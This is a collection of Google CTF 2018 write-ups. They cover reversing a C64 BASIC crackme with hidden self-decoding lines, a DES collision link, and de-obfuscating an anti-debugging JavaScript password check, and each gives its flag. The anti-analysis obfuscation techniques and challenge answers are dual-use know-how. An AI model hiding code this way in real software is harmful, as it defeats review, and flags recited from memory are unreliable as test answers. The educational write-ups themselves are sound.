text_chunk
stringlengths
151
703k
**Description** > You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. **Files provided** - [a ZIP file](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/files/back-to-the-basics.zip) containing: - `crackme.prg` - a Commodore 64 ROM / program **Solution** We are given a PRG file for Commodore 64. As chance would have it, I had the VICE emulator installed already, so I had a look at what the program actually looks like when executed. ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/back-to-the-basics1.png) We can try a password: ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/back-to-the-basics2.png) It says it might take a while but the verdict is instantaneous. Well, let's have a look at the program itself. $ xxd crackme.prg | head 0000000: 0108 1e08 0100 8f20 b2b2 b2b2 b2b2 b2b2 ....... ........ 0000010: b2b2 b2b2 b2b2 b2b2 b2b2 b2b2 b2b2 003a ...............: 0000020: 0802 008f 20b2 b2b2 2042 4143 4b20 a420 .... ... BACK . 0000030: 4241 5349 4353 20b2 b2b2 0057 0803 008f BASICS ....W.... 0000040: 20b2 b2b2 b2b2 b2b2 b2b2 b2b2 b2b2 b2b2 ............... 0000050: b2b2 b2b2 b2b2 b200 6b08 0a00 99c7 2831 ........k.....(1 0000060: 3535 293a 99c7 2831 3437 2900 8608 1400 55):..(147)..... 0000070: 9720 3533 3238 302c 2036 3a97 2035 3332 . 53280, 6:. 532 0000080: 3831 2c20 363a 0098 0819 0099 224c 4f41 81, 6:......"LOA 0000090: 4449 4e47 2e2e 2e22 0013 091e 0083 2032 DING..."...... 2 Most of it is not really readable, but there are some things that stand out, even in this very short sample. There are numbers, represented in readable ASCII. And the string `LOADING...` is surrounded with double quotes. Neither of these would occur in a compiled program, so indeed, the challenge description is true - we are looking at C64 BASIC, but where are the actual commands? The string `LOADING...` is the first thing printed to the screen, so we should expect a `PRINT` command just before it. We can search for specifications of the PRG format. Apparently it represents a [Commodore BASIC tokenised file](http://fileformats.archiveteam.org/wiki/Commodore_BASIC_tokenized_file). To save space, BASIC commands could be represented with tokens, single-byte versions of the full strings. Normal text uses bytes with values in the range `20 ... 127`, but these tokens have the high bit set, so their values are in the range `128 ... 255`. These are not ASCII values, but [PETSCII](https://en.wikipedia.org/wiki/PETSCII), which does have significant overlaps with ASCII, e.g. in letters and numbers, which is why these are readable in the ASCII print-out next to the hexdump above. To confirm our expectations, we can see that the token for `PRINT` is `0x99`. And indeed, this exact byte is right next to the string `LOADING...`. So what we need is some way to convert all of the tokens in the PRG file into their text versions so we can try to understand the code and eventually the password. This is not really a decompiler, since the PRG file is really just as good as source code. What we need is called a "detokeniser", or a "BASIC lister", such as [this one](https://www.luigidifraia.com/c64/index.htm#BL). Running the lister on the PRG file we have produces some results: REM C64 BASIC LISTER V1.1F REM (C) 2004-05 LUIGI DI FRAIA REM LISTING OF FILE: Z:/DEVPROJECTS/STUFF/HACKCENTER/2018 06 4 GOOGLE CTF 2018 QUALS/BASIC/CRACKME.PRG REM START ADDRESS: $0801 REM END ADDRESS+1: $87BF REM SIZE (BYTES): 32702 1 REM ====================== 2 REM === BACK TO BASICS === 3 REM ====================== 10 PRINTCHR$(155):PRINTCHR$(147) 20 POKE 53280, 6:POKE 53281, 6: 25 PRINT"LOADING..." 30 DATA 2,1,3,11,32,32,81,81,81,32,32,32,32,81,32,32,32,32,81,81,81,81,32,81,81,81,81,81,32,32,81,81,81,81,32,32,87,87,87,87 31 DATA 32,32,32,32,32,32,81,32,32,81,32,32,81,32,81,32,32,81,32,32,32,32,32,32,32,81,32,32,32,81,32,32,32,32,32,87,32,32,32,32 32 DATA 20,15,32,32,32,32,81,81,81,32,32,81,32,32,32,81,32,32,81,81,81,32,32,32,32,81,32,32,32,81,32,32,32,32,32,32,87,87,87,32 33 DATA 32,32,32,32,32,32,81,32,32,81,32,81,81,81,81,81,32,32,32,32,32,81,32,32,32,81,32,32,32,81,32,32,32,32,32,32,32,32,32,87 34 DATA 20,8,5,32,32,32,81,81,81,32,32,81,32,32,32,81,32,81,81,81,81,32,32,81,81,81,81,81,32,32,81,81,81,81,32,87,87,87,87,32 40 FOR I = 0 TO 39: POKE 55296 + I, 1: NEXT I 41 FOR I = 40 TO 79: POKE 55296 + I, 15: NEXT I 42 FOR I = 80 TO 119: POKE 55296 + I, 12: NEXT I 43 FOR I = 120 TO 159: POKE 55296 + I, 11: NEXT I 44 FOR I = 160 TO 199: POKE 55296 + I, 0: NEXT I 50 FOR I = 0 TO 199 51 READ C : POKE 1024 + I, C 52 NEXT I 60 PRINT:PRINT:PRINT:PRINT:PRINT 70 POKE 19,1: PRINT"PASSWORD PLEASE?" CHR$(5): INPUT ""; P$: POKE 19,0 80 PRINT:PRINT:PRINTCHR$(155) "PROCESSING... (THIS MIGHT TAKE A WHILE)":PRINT"[ ]" 90 CHKOFF = 11 * 40 + 1 200 IF LEN(P$) = 30 THEN GOTO 250 210 POKE 1024 + CHKOFF + 0, 86:POKE 55296 + CHKOFF + 0, 10 220 GOTO 31337 250 POKE 1024 + CHKOFF + 0, 83:POKE 55296 + CHKOFF + 0, 5 2000 REM NEVER GONNA GIVE YOU UP 2001 REM 2010 POKE 03397, 00199 : POKE 03398, 00013 : GOTO 2001 31337 PRINT:PRINT"VERDICT: NOPE":GOTO 31345 31345 GOTO 31345 We see a lot of what we would expect. `REM` is a comment "command" in BASIC. The fancy header is printed to the screen, then the program asks for the password. It checks whether our password is 30 characters in length. Let's try inputting a 30-character long password: ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/back-to-the-basics3.png) This passes the first check, represented as a green heart in the progress bar. The program then takes quite a long time indeed to produce all the other red crosses. We can disable the speed limit on the emulator to make it produce the above in a matter of seconds. But this is quite curious - where is all this checking done? Where does it print the 19 red crosses? There is clearly some direct memory access going on (`POKE ADDRESS, VALUE` writes `VALUE` to `ADDRESS`), but it is not nearly enough to override the program to do any meaningful password checking. Where is the password actually read? In the code we can see the only time the password is read is in `LEN(P$)`. So clearly the detokenised code is not all there is. And indeed, if we open the program in a hex editor, it spans 32 KiB, with many binary data sections and many parts that are still clearly code (e.g. mentioning `CHKOFF`, a variable initialised in the code we have already seen). How come the detokeniser didn't read these? Looking at the PRG format page again, parsing a tokenised BASIC file should not be all that complicated: | Size (bytes) | Info || --- | --- || 2 | Destination address for program || | **For each line:** || 2 | Next line address || 2 | Line number || * | Code || 1 | Null terminator | (all 2-byte values are little-endian) The last line of the program is empty and has zeroes in both the "next line address" and the "line number" fields. The "next line address" field might seem a little unnecessary, since clearly the lines are null-terminated. There are two important reasons to store the address anyway: 1. Performance - a `GOTO` command in BASIC (which finds a line with a given number and resumes execution flow from there) needs to only read 2 words (4 bytes) per line before it can look further; otherwise it would have to read entire lines 2. Binary data - while the null terminator terminates valid BASIC lines, programs can embed binary data (including null bytes) as well; referencing lines by their address allows BASIC to skip blocks of binary data without trying to parse them Apart from this we need the token table for BASIC and we should be able to parse the program: ([simple parser script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/back-to-the-basics/Simple.hx)) $ haxe --run Simple 0801: 1: REM ====================== 081E: 2: REM === BACK TO BASICS === 083A: 3: REM ====================== 0857: 10: PRINTCHR$(155):PRINTCHR$(147) ... 0D63: 2001: REM 0D69: 2010: POKE 03397, 00199 : POKE 03398, 00013 : GOTO 2001 0D96: 31337: PRINT:PRINT"VERDICT: NOPE":GOTO 31345 0DB5: 31345: GOTO 31345 Well, if we follow the proper parsing rules, respecting the last line marker and only looking for lines based on the "next line address" field, we get exact the same result as before with the BASIC Lister. Not surprising, really. At this point, there are two approaches we can take. We can try a more lenient parsing procedure - for example, the fact that any valid line is terminated with a null byte can help us; we can simply split the data on null bytes and try to detokenise all the "lines" in between. Alternatively, we can try to understand how the C64 (emulator) even knows to find the additional lines of code. During the CTF, we chose the former path, since it is very quick to implement. We parse as much as we can, but ignore lines longer than 100 characters - these are actually binary data, and BASIC does impose a limit on line length. In the following listing the first address printed for each line is its "next line address" field. ([lenient parser script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/back-to-the-basics/Lenient.hx)) $ haxe --run Lenient 081E <- 0801: 1: REM ====================== 083A <- 081E: 2: REM === BACK TO BASICS === 0857 <- 083A: 3: REM ====================== 086B <- 0857: 10: PRINTCHR$(155):PRINTCHR$(147) ... 0D63 <- 0D45: 2000: REM NEVER GONNA GIVE YOU UP 0D69 <- 0D63: 2001: REM 0D96 <- 0D69: 2010: POKE 03397, 00199 : POKE 03398, 00013 : GOTO 2001 0DB5 <- 0D96: 31337: PRINT:PRINT"VERDICT: NOPE":GOTO 31345 0DC1 <- 0DB5: 31345: GOTO 31345 0000 <- 0DC1: 0: REM 0DEB <- 0DC7: 2001: POKE 03397, 00069 : POKE 03398, 00013 0E1F <- 0DEB: 2002: POKE 1024 + CHKOFF + 1, 81:POKE 55296 + CHKOFF + 1, 7 0E46 <- 0E1F: 2004: ES = 03741 : EE = 04981 : EK = 148 0E81 <- 0E46: 2005: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I 0E9D <- 0E81: 2009: POKE 1024 + CHKOFF + 1, 87 ---- <- 0E9D: -----: <BINARY> 13B7 <- 137C: 2900: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I ... ([full listing here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/back-to-the-basics/listing1.txt)) We successfully parsed many more lines than before. Binary blobs in the file cannot be detected fully accurately without properly parsing BASIC commands, so some garbage data leaks through, but mostly the detection is successful. Before we move on with the analysis of this additional code, let's also consider how the C64 knows where to look for this code. In the listing, you can see many of the lines show the same line number, e.g. 2001 is repeated twice in the sample above. If the program was input purely via the C64 BASIC interface, this could not happen - specifying the same line number would simply override that line with new code. It would be impractical (or even impossible) to check that there are no duplicate line numbers in the program when it is loaded. So the BASIC interpreter can simply operate under the assumption that there are no duplicate lines present. The fact that lines store the address of the next line is an important hint to understand how the lines are checked. Storing the address of a following element is a familiar concept in data structures - it is a singly-linked list. Whenever BASIC is looking for a line, it iterates the linked list until it finds the correct number (or perhaps until it reaches its starting point). Whenever the end of the list marker is encountered, it can start looking from the program's loading address again; this way it is possible to `GOTO` a preceding line. It is important to note that in C64 land, there is no concept of an NX bit, of data vs. code. There is only 64K of address space (and less actual memory still), and all of it is directly addressable with 2-byte addresses. There is nothing preventing the program from manipulating its own memory while it is running, using `POKE` statements. With this in mind, this line in particular starts to make sense: 0D96 <- 0D69: 2010: POKE 03397, 00199 : POKE 03398, 00013 : GOTO 2001 `00397` (in decimal) is `0x0D45` (in hexadecimal), `00398` is `0x0D46`, `00199` is `0xC7`, `00013` is `0x0D`. `POKE` writes a single byte, so the two `POKE` statements together write the value `0x0DC7` (in little-endian) to address `0x0D45`. What is at this address? 0D63 <- 0D45: 2000: REM NEVER GONNA GIVE YOU UP It is this seemingly innocent comment line. Keep in mind that its first two bytes store the "next line address". So now, after executing the two `POKE`s, instead of `0x0D63`, the line points to `0x0DC7`. After the `POKE`s, we `GOTO 2001`, which will now be found at address `0x0DC7`! 0DEB <- 0DC7: 2001: POKE 03397, 00069 : POKE 03398, 00013 This line now overrides the pointer back to `0x0D45`. This way the modification in the program is undone after its effect was used (i.e. the current line is one that was previously unreachable). I believe this is done so that dumping the memory after running the program would not be any more helpful than just looking at the original program. The same `POKE` process is repeated multiple times in the remainder of the code. Once again, this was just an attempt to explain how the program hid its code from the lister (a simple anti-RE technique), but in this challenge just parsing all the code we could find was enough. Perhaps a more complex challenge could interleave lines in interesting ways, executing different code when a line is executed from its middle instead of its beginning? But back to analysing what we have. In the listing (as well as a hexdump of the program), we can see 19 large blocks of binary data, each surrounded with some code. Remember that when checking our password, one heart (for correct length) and 19 crosses were printed. We can guess each code + binary block corresponds to a single check and depending on its result, a heart or a cross is printed. Here is the first check block (the blocks are conveniently separated by empty `REM` comments in the listing): 0DEB <- 0DC7: 2001: POKE 03397, 00069 : POKE 03398, 00013 0E1F <- 0DEB: 2002: POKE 1024 + CHKOFF + 1, 81:POKE 55296 + CHKOFF + 1, 7 0E46 <- 0E1F: 2004: ES = 03741 : EE = 04981 : EK = 148 0E81 <- 0E46: 2005: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I 0E9D <- 0E81: 2009: POKE 1024 + CHKOFF + 1, 87 ---- <- 0E9D: -----: <BINARY> 13B7 <- 137C: 2900: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I 13EA <- 13B7: 2905: POKE 1024 + CHKOFF + 1, A:POKE 55296 + CHKOFF + 1, B 1417 <- 13EA: 2910: POKE 03397, 00029 : POKE 03398, 00020 : GOTO 2001 We have already seen line `2001`, used to restore the line pointer. Line `2002` uses `CHKOFF`, and this variable is actually only used to keep track of the position of the "progress bar" displayed when checking our password. Symbol 81 in shifted PETSCII is a circle, and it is displayed [in yellow colour](https://www.c64-wiki.com/wiki/Color) - this is indeed what is shown in the progress bar while our password is being checked. But anyway, this line is not really important to us. Line `2004` defines some variables. If we look at what `03741` (`ES`) is in hexadecimal, we see it is `0x0E9D` - exactly matching the address of the binary data block! `04981` (`EE`) is `0x1375`, just two bytes shy of the line immediately after. Line `2005` then finally modifies some memory using `POKE`. Basically, `EK` is added to all the bytes of the memory range `ES ... EE` (modulo 256). We will see what the memory there decodes to soon. Line `2009` just changes the symbol in the progress bar. What is more interesting is its "next line address" field - it points into the binary data block, as if it were regular code. So what we expect at this point is that line `2005` decoded the binary block into valid BASIC code, which will be executed after line `2009`. Given that we haven't seen any mention of the `P$` variable so far (storing our password), we can expect the decoded BASIC code to actually do some meaningful checking. Line `2900` re-encodes the data block with the same procedure as before. This means that after the program executes, the memory of the program will be different, but still unreadable, so a memory dump won't be helpful (again). Line `2905` sets the progress bar symbol for the last time. However, the symbol type and its colour are stored in variables `A` and `B`, respectively. We haven't seen these in the code so far, so we expect them to be set in the decoded binary block, depending on the result of the password check. Finally, line `2910` repeats the `POKE` procedure to make sure BASIC can find the next line of code, along with the next password check. In the listing we can see that all the binary blocks are surrounded with the same general code, but the `ES`, `EE`, and `EK` variables are given different values. We can look for all the lines of the form: ES = ..... : EE = ..... : EK = ... And indeed, there are 19 of these. After reading their values, we can modify the program memory as needed and do another listing: $ haxe --run Solve 081E <- 0801: 1: REM ====================== 083A <- 081E: 2: REM === BACK TO BASICS === 0857 <- 083A: 3: REM ====================== ... 0E46: 2005: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I 0E81: 2009: POKE 1024 + CHKOFF + 1, 87 0E9D: 2010: V = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : G = 0 0EEB: 2020: BA = ASC( MID$(P$, 1, 1) ) 0F05: 2021: BB = ASC( MID$(P$, 2, 1) ) 0F1F: 2025: P0 = 0:P1 = 0:P2 = 0:P3 = 0:P4 = 0:P5 = 0:P6 = 0:P7 = 0:P8 = 0:P9 = 0:PA = 0:PB = 0:PC = 0 0F7E: 2030: IF BA AND 1 THEN P0 = 0.062500000001818989403545856475830078125 0FBC: 2031: IF BA AND 2 THEN P1 = 0.0156250000004547473508864641189575195312 0FFB: 2032: IF BA AND 4 THEN P2 = 0.0039062500001136868377216160297393798828 103A: 2033: IF BA AND 8 THEN P3 = 0.0009765625000284217094304040074348449707 1079: 2034: IF BA AND 16 THEN P4 = 0.0002441406250071054273576010018587112427 10B9: 2035: IF BA AND 32 THEN P5 = 0.0000610351562517763568394002504646778107 10F9: 2036: IF BA AND 64 THEN P6 = 0.0000152587890629440892098500626161694527 1139: 2037: IF BA AND 128 THEN P7 = 0.0000038146972657360223024625156540423632 117A: 2040: IF BB AND 1 THEN P8 = 0.0000009536743164340055756156289135105908 11B9: 2031: IF BB AND 2 THEN P9 = 0.0000002384185791085013939039072283776477 11F8: 2032: IF BB AND 4 THEN PA = 0.0000000596046447771253484759768070944119 1237: 2033: IF BB AND 8 THEN PB = 0.000000014901161194281337118994201773603 1275: 2034: IF BB AND 16 THEN PC = 0.0000000037252902985703342797485504434007 12B5: 2050: K = V + P0 + P1 + P2 + P3 + P4 + P5 + P6 + P7 + P8 + P9 + PA + PB + PC 1300: 2060: G = 0.671565706376017 131A: 2100: T0 = K = G : A = 86 : B = 10 133B: 2200: IF T0 = -1 THEN A = 83 : B = 5 135A: 2210: POKE 1024 + CHKOFF + 1, 90 1376: 2500: REM 137C: 2900: FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I ... ([full listing here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/back-to-the-basics/listing2.txt)) Indeed, the binary blocks decoded to some password-checking code. Lines `2020` and `2021` store individual characters of the password in `BA` and `BB`. Lines `2030` through `2040`, then again `2031` through `2034` all check individual bits of the password characters and set the values of `P0 ... P9, PA, PB, PC` based on them. Finally, all of the `P` values (and `V`) are summed and the result is compared to `G`. If the value matches exactly, `A` is set to the heart symbol (line `2200`), otherwise it remains a cross (line `2100`). The fact that the condition is exact match and that the lines show decimal values with so many digits made me worry at first - do we need to have an exact C64-like implementation of decimal arithmetics for this to work? Do we need to write our password cracker in BASIC? But perhaps trying to find the closest solution using regular 64-bit IEEE floats will work just as well. Each of the 19 blocks checks 13 bits, giving a total of 247 bits checked. This is 7 more bits than there are in our 30-byte password. If we check the last block, it checks a dummy `BX` variable, and its value will always be `0` - so the 19th check really only checks 6 bits. So we need to crack 19 checks with 13 bits of data each - this gives 8K possible combinations, very easily brute-forceable. We write our cracker and print out the characters (we would normally have to convert PETSCII into ASCII, but fortunately the password comprises of ASCII-equivalent characters): ([full solver script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/back-to-the-basics/Solve.hx)) $ haxe --run Solve ... PASSWORD: LINKED-LISTS-AND-40-BIT-FLOATS And it works! BASIC lines form linked lists as described above, and luckily we didn't need to get into the specifics of 40-bit C64 floats. ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/back-to-the-basics4.png) `CTF{LINKED-LISTS-AND-40-BIT-FLOATS}`
TL;DR: do horrible things to a one-way compression function by leveraging weak keys in the DES block cipher. https://fortenf.org/e/ctfs/crypto/2018/06/26/google-ctf-2018-dm-collision.html
**Description** > You stumbled upon someone's "JS Safe" on the web. It's a simple HTML file that can store secrets in the browser's localStorage. This means that you won't be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner... **Files provided** - [a ZIP file](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/files/js-safe.zip) containing: - `js_safe_2.html` - an HTML file with obfuscated JavaScript **Solution** We are presented with a website showing a password input. After entering a password, it seems to check whether or not it is correct and says `ACCESS DENIED`. ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/js-safe1.png) Let's see the source code. There is a comment: There is some CSS to make the website look pretty, some HTML to create the form, but most importantly the JavaScript: <script> function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}} </script> <script> function open_safe() { keyhole.disabled = true; password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value); if (!password || !x(password[1])) return document.body.className = 'denied'; document.body.className = 'granted'; password = Array.from(password[1]).map(c => c.charCodeAt()); encrypted = JSON.parse(localStorage.content || ''); content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('') } function save() { plaintext = Array.from(content.value).map(c => c.charCodeAt()); localStorage.content = JSON.stringify(plaintext.map((c,i) => c ^ password[i % password.length])); } </script> `open_safe` is called when we enter a password. `save` seems to be a function used once the "safe" is unlocked. Apparently it just uses the `localStorage` (present in the browser and saved on the disk) and XOR encryption to "securely" store data. Important to us is the `password` regular expression - we need to enter `CTF{...}` as the password, using only numbers, letters, and the symbols `_`, `@`, `!`, `?`, and `-` between the curly braces. The actual password check is done by calling the function `x` with the inner part of the password (excluding `CTF{` and `}`). Let's prettify the function `x` and look a it bit by bit: function x(х){ ord=Function.prototype.call.bind(''.charCodeAt); chr=String.fromCharCode; str=String; First, three shortcut functions are defined. `ord`, `chr`, and `str`. - `ord` - converts a (Unicode) character to its Unicode codepoint, a number - `chr` - converts a Unicode codepoint to its string representation (opposite of `ord`) - `str` - stringifies a value function h(s){ for(i=0;i!=s.length;i++){ a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521; b=((typeof b=='undefined'?0:b)+a)%65521 } return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF) } The next, inner, function is `h`, which seems to be a simple hashing algorithm. It iterates all the characters of its argument, adding their Unicode values to an accumulator, and adding the accumulator to another indirect accumulator. Finally, the two variables `a` and `b` are converted to a 4-byte string (which may or may not be 4 characters!). function c(a,b,c){ for(i=0;i!=a.length;i++) c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length]))); return c } Finally, `c` is an encryption function. It simply XOR encrypts `a` using a repeating key `b`. for(a=0;a!=1000;a++) debugger; Then we see the first *obvious* anti-RE technique. It is a loop that runs 1000 times and tries to run `debugger` each time. This only has effect if the browser's developer tools are open. We can remove this loop to prevent this. This lets us debug the function, but it is also a big mistake - we'll see why in a bit! x=h(str(x)); Then `x` is assigned to the hash of the stringified value `x`. This should be the password, right? Wrong - if we put a `debugger` statement just before this line, we can check what the value of `x` is. We can simply type `x` into the console, assuming we are currently paused inside the function. `x` always evaluates to the function itself, not the argument provided! It's not unusual that you can refer to the function within itself, this is what makes recursion possible. But what is weird is that the argument given to this function is also `x`, so thanks to aliasing inside the function `x` should refer to the argument, not the function. Well, after some more analysis, we can find out that this script uses a fairly common technique in JavaScript obfuscation. The argument of the function is not `x`. It is `х`. Most fonts will render these characters the same, but the latter is actually [cyrillic small letter ha](https://unicodelookup.com/#%D1%85/1). We can confirm this if we look at the hexdump of the file. What is also curious is that the argument is never mentioned inside the function except in the function signature. Anyway, after executing the last line, `x` is now the hash of the stringified version of the function itself. This is important - we have modified the function already by prettifying it. Any whitespace is kept by JavaScript when it stringifies the function. But we can circument this - we open the original file, find out the string representation of the original `x` function, and in our working copy we put: x = h("function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}"); Moving on: source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/; source.toString=function(){return c(source,x)}; `source` is given as a regular expression, containing a bunch of Unicode data. It is important to parse it as Unicode, since this is how JavaScript understands string values (and regular expressions as well). Additionally, `toString` is set on `source` to run the encryption function. This last bit is somewhat weird. JavaScript does use the `toString` method of an object (if it exists) when it tries to stringify it. However, inside `c`, the first argument needs to be stringified. I believe this is another, slightly more subtle, anti-RE technique - every time we try to see what the value of `source` is in the console, it results in an infinite loop. try{ console.log('debug',source); with(source)return eval('eval(c(source,x))') }catch(e){} Finally, in a `try ... catch` block, we first have a `console.log` statement, which will enter the aforementioned infinite loop if the developer tools are open. Then a rarely used feature of JavaScript, [`with`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) is used to make the properties of `source` available globally. In particular, this might mean that the global `toString` function is the one defined on `source`, which will always return `c(source, x)`. Inside the `with` block, we perform a nested `eval` - `c(source, x)` is executed as JavaScript code and the result of this is once again executed as JavaScript code. Any errors that might occur in this process are caught and silently ignored because of the `try ... catch` block. For this entire password check to be successful, the `x` function needs to return a [truthy value](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), and the only `return` is the value obtained from the double-`eval` construct. There is one final anti-RE technique that is more subtle than the others. Normally, JavaScript variables are declared with `var`. In more modern syntax, `let` or `const` is used. Not a single `var` can be found in the script. This is not an error (a mantra in JavaScript) - the code still runs just fine. Whenever a variable is used without declaring it with `var`, the global scope will be used. This generally means the variables are created on the `window` object. However, function argument names are implicitly declared as local variables and these will not be created as `window` properties! With this in mind, let's list all the global variables used in the script: - `x` - initially the password-checking function, later overridden with the function's hash - `ord`, `chr`, `str` - inside the function `h`: - the loop variable `i` is global, although it is zeroed out before use - `a`, `b` are both global and a default value is only used if they were `undefined` (i.e. undeclared) beforehand - in the anti-RE `debugger` loop, `a` is global - `source` We can notice something very important in the list above - the global variable `a` is used both inside `h` and inside the anti-RE loop. Before `h` is even called for the first time, `a` is already set to `1000`. If we simply remove the loop, `a` will be `undefined` before `h` is called, giving an incorrect result. Now we can start peeling off the layers of protection. As mentioned above the actual password value (stored in the cyrillic `х`) has not been used in any of the code we can see so far. This means that the first steps of decrypting the `source` variable are not done based on user input, so we should be able to reproduce them ourselves. Keeping in mind that `a` is initialised to `1000` before `h` is called, we can calculate the hash of the function: let ord = Function.prototype.call.bind(''.charCodeAt); let chr = String.fromCharCode; let s = "function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}"; let a = 1000; let b = 0; for (let i=0; i != s.length; i++) { a = (a + ord(s[i])) % 65521; b = (b + a) % 65521; } let ret = chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF); console.log([b >> 8, b & 0xFF, a >> 8, a & 0xFF]); console.log(ret); console.log(ret.length); The first `console.log` prints `[130, 30, 10, 154]`. None of these are printable characters, but JavaScript still considers the string to be 4 characters long. So let's try to XOR-decrypt `source` with the above key. Even though it is given as a regular expression with a weird `toString` function, let's just see what happens if we put it in a string and decrypt that: let ord = Function.prototype.call.bind(''.charCodeAt); let chr = String.fromCharCode; let a = "Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨"; let c = ""; let points = []; for(i = 0; i != a.length; i++) { let point = ord(a[i]) ^ [130, 30, 10, 154][i % 4]; points.push(point); c = c + chr(point); } console.log(points); console.log(c); Indeed, we get some valid JavaScript code! х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T—©Ð8ͳÍ|Ԝ÷aÈÐÝ&›¨þJ',h(х))//᧢ And in this fragment the `х` is actually the cyrillic `х` which contains our password. We are looking for a password which equals *something* when XOR decrypted with its own hash. We have two unknowns, both the password and its hash, so the solution is not direct. However, we know enough about the hashes and the password to break the cipher. The hashes returned by `h` are only 4 bytes long. This can decode into less than 4 characters if these bytes represent valid Unicode codepoints, but let's just treat them as 4 separate 8-bit integers. A key that is only 4 bytes long repeated over a 39+ character-long password is very vulnerable, since a quarter of these characters are decrypted with the same key character. And finally, we know that the password only consists of the characters `0-9a-zA-Z_@!?-`, which combined with the repeating XOR key should be more than enough. ([full solver script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-06-23-Google-CTF-Quals/scripts/JS.hx)) $ haxe --run JS.hx _N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_ Three of the hash numbers have a unique solution, one has two. One of these two gives the correct solution. ![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-06-23-Google-CTF-Quals/screens/js-safe2.png) `CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_}`
